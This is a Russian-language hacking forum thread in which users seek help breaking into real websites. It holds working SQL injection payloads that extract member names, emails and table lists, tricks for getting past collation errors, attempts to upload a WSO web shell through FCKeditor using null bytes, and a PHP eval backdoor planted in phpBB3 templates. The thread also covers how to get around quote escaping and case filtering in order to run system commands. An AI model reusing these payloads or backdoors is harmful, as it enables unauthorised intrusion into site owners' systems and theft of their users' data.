сорь, может не в тему но, слили БД сайта, админку найти не могу, в БД таюлици имеют префикс xpanel - в гугле ничего не могу найти про этот двиг, офф сайт уже давно в оффе, может кто что знает про етот двиг? где там админку можно найти?
Потому что скобку забыл в запросе (select top 1 cast(name as nvarchar)+char(0x7a)+cast(lastname as nvarchar)+char(0x7а)+cast(email as nvarchar) from member where id=4)--
Подскажите по поводу FCKeditor 2.5.1 Build 17566 txt файлы спокойно льются, а вот php никак нехочет пробывал: 1) Через /php/upload.php?Type=Media 2) Грузил txt указывал в Current Folder: wso.php%00 3) Пробывал %00 в url-decode, так же пробывал wso2.php%00.txt Что посоветуете? других дыр нет есть еще CKEditor 3.2.1 Двиг: Powered by cc Engine (китайский двиг) P.S>.htaccess так же не грузит
Подскажите в чем может быть проблема Сообственно пытаюсь лить шелл через админку phpbb 3 через стили Включаю выполнение php кода в шаблонах, иду в шаблоны faq_body.html впиливаю код <?php eval(stripslashes($_REQUEST[c])); ?> Иду в forum.com/faq.php?c=phpinfo(); пхпинфо не выводится = \ Подскажите почему может не выполнятся пхпкод права в админке полные, мб можно еще какнить залить?
пытаюсь отправить запросы для вывода данных хотя бы юзеров. то и дело выходят ошибки : Подскажите где взять список запросов?
он ему запрос дал и посоветовал мускуль подучить, чтоб он сам смог вывести таблицы, а ты тупо "умничаешь."
Делаю такой запрос 1+UnIon+selECt+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42&x=-392&y=-378 true 1+UnIon+selECt+1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+INFORMATION_SCHEMA.TABLES+--+&x=-392&y=-378 false Выдает Illegal mix of collations for operation 'UNION' Как быть?
Если не ошибаюсь, то такая ошибка обычно связана с проблемами в кодировке. И, судя по всему, в ошибке в вашем случае явно не указана нужная. Если ошибаюсь то меня поправят. Немного пищи для размышления: cast(version()+as+binary) convert(version(),binary) convert(version()+using+latin1) convert(version()+using+binary) aes_decrypt(aes_encrypt(version(),1),1) unhex(hex(version())) Попробуйте при выводе нужной информации использовать приведенные выше примеры.
ребят,хелп ми,плз есть уязвимость 'PHP Code execution'...выполняются phpinfo(),system(ls) и т.д.....слэшируются кавычки,хотя MQ=Off...всё бы ничего,можно было бы обойти c помощью base64,либо system($_GET[a])...но режутся заглавные.... что можно сделать в данном случае?
не совсем понял...) как,к примеру,вывести результат system('ls -la')? (экранируются кавычки и режутся заглавные)
